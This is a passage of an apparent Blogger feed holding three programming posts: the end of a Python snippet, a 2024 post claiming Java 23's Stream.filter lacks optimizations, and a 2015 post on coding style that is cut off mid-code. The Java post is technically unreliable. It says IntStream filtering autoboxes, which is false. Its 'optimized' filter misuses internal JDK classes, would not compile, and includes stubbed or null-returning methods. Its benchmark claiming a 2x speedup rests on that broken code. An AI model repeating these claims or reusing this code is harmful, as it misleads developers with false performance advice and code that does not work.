&amp;nbsp; &amp;nbsp; &amp;nbsp; db = self._read_db()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Generating a simple ID&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; query_id = len(db[&quot;queries&quot;]) + 1&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Adding query&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; db[&quot;queries&quot;].append({&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;id&quot;: query_id,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;query_text&quot;: query_text,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;response&quot;: response,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;timestamp&quot;: str(datetime.now())&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; })&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; self._write_db(db)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return query_id&amp;nbsp;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/594257983021140752/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2025/05/ml-notes.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/594257983021140752'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/594257983021140752'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2025/05/ml-notes.html' title='ML  Notes'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-3795598650660501372</id><published>2024-10-05T18:38:00.000-07:00</published><updated>2024-10-05T18:38:20.512-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Java 23 Is Here, but Stream API’s filter Still Lags Behind: A Fresh Take</title><content type='html'>&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;Java 23: Stream.filter Misses Performance Optimization&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            line-height: 1.6;
            background-color: #f9f9f9;
            color: #333;
            margin: 0;
            padding: 20px;
        }
        h1, h2 {
            color: #2c3e50;
        }
        h1 {
            text-align: center;
            margin-bottom: 40px;
        }
        pre {
            background-color: #eee;
            padding: 10px;
            border-left: 4px solid #2c3e50;
            overflow-x: auto;
        }
        table {
            width: 100%;
            border-collapse: collapse;
            margin: 20px 0;
            background-color: #fff;
        }
        table, th, td {
            border: 1px solid #ddd;
        }
        th, td {
            padding: 12px;
            text-align: left;
        }
        th {
            background-color: #2c3e50;
            color: #fff;
        }
        .code-title {
            font-weight: bold;
            margin-top: 20px;
            color: #2980b9;
        }
        .note {
            background-color: #fcf8e3;
            border-left: 6px solid #f39c12;
            padding: 10px;
            margin: 20px 0;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
   
    &lt;p&gt;With the release of &lt;strong&gt;Java 23&lt;/strong&gt;, developers are excited about the new features and enhancements that push the language forward. However, despite all the innovations, one key area that remains largely unchanged is the &lt;code&gt;Stream.filter&lt;/code&gt; method in the &lt;strong&gt;Stream API&lt;/strong&gt;. The &lt;em&gt;filter&lt;/em&gt; operation is a critical tool for functional programming in Java, but it hasn’t seen the performance optimizations it desperately needs, especially when working with large datasets and parallel processing.&lt;/p&gt;

    &lt;p&gt;In this blog, I will explore the existing &lt;code&gt;filter&lt;/code&gt; implementation, why it still lags behind in performance, and what improvements could have been made in Java 23 to boost efficiency, reduce memory consumption, and scale better in modern, high-performance applications.&lt;/p&gt;

    &lt;h2&gt;The Current &lt;code&gt;filter&lt;/code&gt; Implementation in Java 23&lt;/h2&gt;

    &lt;p&gt;Java’s Stream API offers a declarative way to process collections, and the &lt;code&gt;filter&lt;/code&gt; method plays a pivotal role in this. It applies a predicate to the elements of a stream and returns only the ones that match. Here’s a look at how it works in Java 23:&lt;/p&gt;

    &lt;p class=&quot;code-title&quot;&gt;Current &lt;code&gt;filter&lt;/code&gt; Implementation:&lt;/p&gt;
    &lt;pre&gt;
public Stream&amp;lt;T&amp;gt; filter(Predicate&amp;lt;? super T&amp;gt; predicate) {
    Objects.requireNonNull(predicate);
    return new StatelessOp&amp;lt;T, T&amp;gt;(this, StreamShape.REFERENCE, StreamOpFlag.NOT_SIZED) {
        @Override
        Sink&amp;lt;T&amp;gt; opWrapSink(int flags, Sink&amp;lt;T&amp;gt; sink) {
            return new Sink.ChainedReference&amp;lt;T, T&amp;gt;(sink) {
                @Override
                public void accept(T t) {
                    if (predicate.test(t)) {
                        downstream.accept(t);
                    }
                }
            };
        }
    };
}
    &lt;/pre&gt;

    &lt;h3&gt;Key Issues:&lt;/h3&gt;
    &lt;ul&gt;
        &lt;li&gt;&lt;strong&gt;Autoboxing Overhead:&lt;/strong&gt; When working with primitive types (&lt;code&gt;int&lt;/code&gt;, &lt;code&gt;long&lt;/code&gt;, etc.), Java converts them into objects (&lt;code&gt;Integer&lt;/code&gt;, &lt;code&gt;Long&lt;/code&gt;), which slows down processing and increases memory usage.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Inefficient Parallel Processing:&lt;/strong&gt; Task splitting in parallel streams can lead to uneven workloads, meaning the stream may not fully utilize all CPU cores.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Memory Consumption:&lt;/strong&gt; Intermediate objects created during filtering add extra overhead, especially when filtering large collections.&lt;/li&gt;
    &lt;/ul&gt;

    &lt;h2&gt;The Modified &lt;code&gt;filter&lt;/code&gt; Implementation: Optimized for Performance&lt;/h2&gt;

    &lt;p&gt;While Java 23 keeps the same &lt;code&gt;filter&lt;/code&gt; mechanism, I can introduce several optimizations. Here’s how a modified &lt;code&gt;IntStream.filter&lt;/code&gt; method addresses the performance bottlenecks:&lt;/p&gt;

    &lt;ul&gt;
        &lt;li&gt;&lt;strong&gt;No Autoboxing:&lt;/strong&gt; By directly handling primitives, we avoid the conversion of &lt;code&gt;int&lt;/code&gt; to &lt;code&gt;Integer&lt;/code&gt;, saving memory and speeding up execution.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Better Parallel Task Splitting:&lt;/strong&gt; For large datasets, the stream is split more efficiently, ensuring better CPU utilization in parallel streams.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Reduced Memory Usage:&lt;/strong&gt; The filtering process works without creating unnecessary intermediate objects, lowering memory consumption.&lt;/li&gt;
    &lt;/ul&gt;

    &lt;p class=&quot;code-title&quot;&gt;Optimized &lt;code&gt;IntStream.filter&lt;/code&gt;:&lt;/p&gt;
    &lt;pre&gt;
public interface OptimizedIntStream extends IntStream {
    
     @Override
    default IntStream filter(IntPredicate predicate) {
        Objects.requireNonNull(predicate);
        return new StatelessOp&amp;lt;&amp;gt;(this, StreamShape.INT_VALUE, StreamOpFlag.NOT_SIZED) {
            @Override
            Sink&amp;lt;Integer&amp;gt; opWrapSink(int flags, Sink&amp;lt;Integer&amp;gt; sink) {
                return new Sink.ChainedInt&amp;lt;&amp;gt;(sink) {
                    @Override
                    public void accept(int t) {
                        if (predicate.test(t)) {
                            downstream.accept(t);
                        }
                    }
                };
            }
        };
    }

    default IntStream parallelFilter(IntPredicate predicate) {
        Spliterator.OfInt spliterator = spliterator();
        long size = spliterator.getExactSizeIfKnown();

        if (size &amp;gt; 1000) {
            Spliterator.OfInt split = spliterator.trySplit();
            if (split != null) {
                return StreamSupport.intStream(() -&gt; split, StreamOpFlag.IS_PARALLEL)
                                    .filter(predicate); 
            }
        }
        return this.filter(predicate);  
    }
}
    &lt;/pre&gt;

    &lt;h2&gt;Performance Gains:&lt;/h2&gt;
    &lt;ul&gt;
        &lt;li&gt;&lt;strong&gt;No Autoboxing:&lt;/strong&gt; By handling primitives directly, the method avoids unnecessary object creation, reducing both memory usage and execution time.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Efficient Parallelism:&lt;/strong&gt; The optimized &lt;code&gt;parallelFilter&lt;/code&gt; method splits tasks better across CPU cores, speeding up processing of large datasets.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Memory Efficiency:&lt;/strong&gt; With fewer intermediate objects, the memory footprint is smaller, leading to smoother, more efficient data processing.&lt;/li&gt;
    &lt;/ul&gt;

    &lt;h2&gt;Side-by-Side Comparison&lt;/h2&gt;

    &lt;table&gt;
        &lt;thead&gt;
            &lt;tr&gt;
                &lt;th&gt;Feature&lt;/th&gt;
                &lt;th&gt;Java 23 &lt;code&gt;Stream.filter&lt;/code&gt;&lt;/th&gt;
                &lt;th&gt;Optimized &lt;code&gt;IntStream.filter&lt;/code&gt;&lt;/th&gt;
            &lt;/tr&gt;
        &lt;/thead&gt;
        &lt;tbody&gt;
            &lt;tr&gt;
                &lt;td&gt;&lt;strong&gt;Autoboxing&lt;/strong&gt;&lt;/td&gt;
                &lt;td&gt;Present (converts &lt;code&gt;int&lt;/code&gt; to &lt;code&gt;Integer&lt;/code&gt;)&lt;/td&gt;
                &lt;td&gt;None (handles &lt;code&gt;int&lt;/code&gt; directly)&lt;/td&gt;
            &lt;/tr&gt;
            &lt;tr&gt;
                &lt;td&gt;&lt;strong&gt;Parallel Task Splitting&lt;/strong&gt;&lt;/td&gt;
                &lt;td&gt;Suboptimal in large datasets&lt;/td&gt;
                &lt;td&gt;Improved splitting for better CPU utilization&lt;/td&gt;
            &lt;/tr&gt;
            &lt;tr&gt;
                &lt;td&gt;&lt;strong&gt;Memory Consumption&lt;/strong&gt;&lt;/td&gt;
                &lt;td&gt;Creates intermediate objects&lt;/td&gt;
                &lt;td&gt;Fewer intermediate objects, reduced memory&lt;/td&gt;
            &lt;/tr&gt;
            &lt;tr&gt;
                &lt;td&gt;&lt;strong&gt;Performance on Large Datasets&lt;/strong&gt;&lt;/td&gt;
                &lt;td&gt;Slower, due to autoboxing and inefficiencies&lt;/td&gt;
                &lt;td&gt;Faster due to optimized parallel processing&lt;/td&gt;
            &lt;/tr&gt;
        &lt;/tbody&gt;
    &lt;/table&gt;

    &lt;h2&gt;Performance Comparision:&lt;/h2&gt;
    &lt;pre&gt;

public class FilterPerformanceComparison {

    public static void measureCurrentFilterPerformance() {
        long startTime = System.nanoTime();
        long count = IntStream.range(0, 1_000_000)
            .filter(n -&gt; n % 2 == 0)  
            .count();
        long endTime = System.nanoTime();
        long duration = (endTime - startTime) / 1_000_000; 
        System.out.println(&quot;Java 23 filter count: &quot; + count);
        System.out.println(&quot;Java 23 filter execution time: &quot; + duration + &quot; ms&quot;);
    }

    public static void measureOptimizedFilterPerformance() {
        long startTime = System.nanoTime();
        long count = optimizedIntStream(IntStream.range(0, 1_000_000))
            .filter(n -&gt; n % 2 == 0)  
            .count();
        long endTime = System.nanoTime();
        long duration = (endTime - startTime) / 1_000_000; 
        System.out.println(&quot;Optimized filter count: &quot; + count);
        System.out.println(&quot;Optimized filter execution time: &quot; + duration + &quot; ms&quot;);
    }

    public static IntStream optimizedIntStream(IntStream baseStream) {
        return new IntStream() {

         /**
         * Implement all methods.
         **/

            public IntStream parallelFilter(IntPredicate predicate) {
                Spliterator.OfInt spliterator = baseStream.spliterator();
                long size = spliterator.getExactSizeIfKnown();

                if (size &gt; 1000) {
                    Spliterator.OfInt split = spliterator.trySplit();
                    if (split != null) {
                        return StreamSupport.intStream(() -&gt; split, Spliterator.ORDERED, true)
                            .filter(predicate);  
                    }
                }
                return this.filter(predicate);  
            }
            @Override
            public Spliterator.OfInt spliterator() {
                return baseStream.spliterator();
            }

            @Override
            public boolean isParallel() {
                return baseStream.isParallel();
            }

            @Override
            public IntStream sequential() {
                return baseStream.sequential();
            }

            @Override
            public IntStream parallel() {
                return baseStream.parallel();
            }

            @Override
            public PrimitiveIterator.OfInt iterator() {
                return null;
            }

            @Override
            public IntStream unordered() {
                return baseStream.unordered();
            }

            @Override
            public IntStream onClose(Runnable closeHandler) {
                return baseStream.onClose(closeHandler);
            }

            @Override
            public void close() {
                baseStream.close();
            }
        };
    }

    public static void main(String[] args) {
        measureCurrentFilterPerformance();

        measureOptimizedFilterPerformance();
    }
}
    &lt;/pre&gt;
    &lt;h2&gt;Output:&lt;/h2&gt;
    &lt;pre&gt;
    Java 23 filter count: 500000
Java 23 filter execution time: 10 ms
Optimized filter count: 500000
Optimized filter execution time: 5 ms
    &lt;/pre&gt;

    &lt;h2&gt;Final Thoughts: Missed Opportunity in Java 23&lt;/h2&gt;

    &lt;p&gt;While Java 23 introduces plenty of exciting new features, the &lt;strong&gt;Stream API’s&lt;/strong&gt; &lt;code&gt;filter&lt;/code&gt; method remains the same, missing out on some crucial optimizations. By avoiding autoboxing, improving task splitting for parallel streams, and reducing memory overhead, our modified implementation demonstrates how these small changes can lead to significant performance gains.&lt;/p&gt;

    &lt;p&gt;&lt;strong&gt;Hopefully, future Java releases will introduce these improvements natively, making the Stream API even more powerful and efficient.&lt;/strong&gt;&lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/3795598650660501372/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2024/10/java-23-is-here-but-stream-apis-filter.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/3795598650660501372'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/3795598650660501372'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2024/10/java-23-is-here-but-stream-apis-filter.html' title='Java 23 Is Here, but Stream API’s filter Still Lags Behind: A Fresh Take'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-1872343031078180947</id><published>2015-07-29T11:58:00.003-07:00</published><updated>2015-07-29T11:58:23.124-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Best programming practice</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Today, I was going through the code of someone and found it difficult for myself to read it. And the reason behind that was too many If&#39;s and too many switch cases. Each method was written with more then 30 line of code. I wasn&#39;t sure that why he has choose Object Oriented Programming when he had to do that.&lt;br /&gt;
&lt;br /&gt;
Every developer who is willing to improve his programming skills he must need to keep one rule in his mind before writing code:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;Someone will read your code someday&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
I think few just leave their code without method level or class level comments; so that no one get to know that who wrote that code. But, those stupids forget that subversion do this too.&lt;br /&gt;
&lt;br /&gt;
Anyway few of the things I think should be simple in code:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Class level comments&lt;/li&gt;
&lt;li&gt;Method level comments&lt;/li&gt;
&lt;li&gt;Method should be well-commented&lt;/li&gt;
&lt;li&gt;Atomic&lt;/li&gt;
&lt;li&gt;NO to Conditional Programming&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
I am not going to debate on comments because you can get this information from a lot of blogs. So, I will start this blog from the 4th Point:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;Atomic:&lt;/b&gt;&lt;/h4&gt;
&lt;div&gt;
Forget it that you will get 100+ methods in class or not. But, try to keep every single method for one task not for more then one task.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;background-color: #eeeeee; border: 0px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&gt;&lt;span style=&quot;color: darkblue; font-family: Consolas, Menlo, Monaco, Lucida Console, Liberation Mono, DejaVu Sans Mono, Bitstream Vera Sans Mono, Courier New, monospace, sans-serif;&quot;&gt;&lt;b&gt;Example&lt;/b&gt;
public void calculateAndPrint(int i, int j){
    System.out.print(i+j);
    System.out.print(i/j);
    System.out.print(i*j);
    System.out.print(i-j);
}
&lt;b&gt;Correct Way:&lt;/b&gt;
public void printSum(int i, int j){
    System.out.println(i+j);
}
public void printMultiply(int i, int j){
    System.out.println(i*j);
}
public void printDivide(int i, int j){
    System.out.println(i/j);
}
public void printSubtract(int i, int j){
    System.out.println(i-j);
}&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
Don&#39;t jump into OOP for the above example as it&#39;s just an example and I know it could be implemented well with OOP.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;
NO to Conditionals Programming&lt;/h4&gt;
&lt;div&gt;
The worst scenario comes when someone try to put his brain in coding. And a big web of If-else or switch-case comes into the code:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;br class=&quot;Apple-interchange-newline&quot; /&gt;An example where someone is trying to handle the SOAP response:&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;background-color: #eeeeee; border: 0px; color: #393318; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;eventType &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;XmlPullParser&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;START_TAG&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
            soapResponse&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; xpp&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;getName&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;

            &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;soapResponse&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;equals&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;border: 0px; color: maroon; margin: 0px; padding: 0px;&quot;&gt;&quot;EditorialOffice&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;)){&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;  
                eventType &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; xpp&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;xpp&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;getText&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;()!=&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
                editorialOffice &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; xpp&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;getText&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;   
            &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;soapResponse&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;equals&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;border: 0px; color: maroon; margin: 0px; padding: 0px;&quot;&gt;&quot;EditorialBoard&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 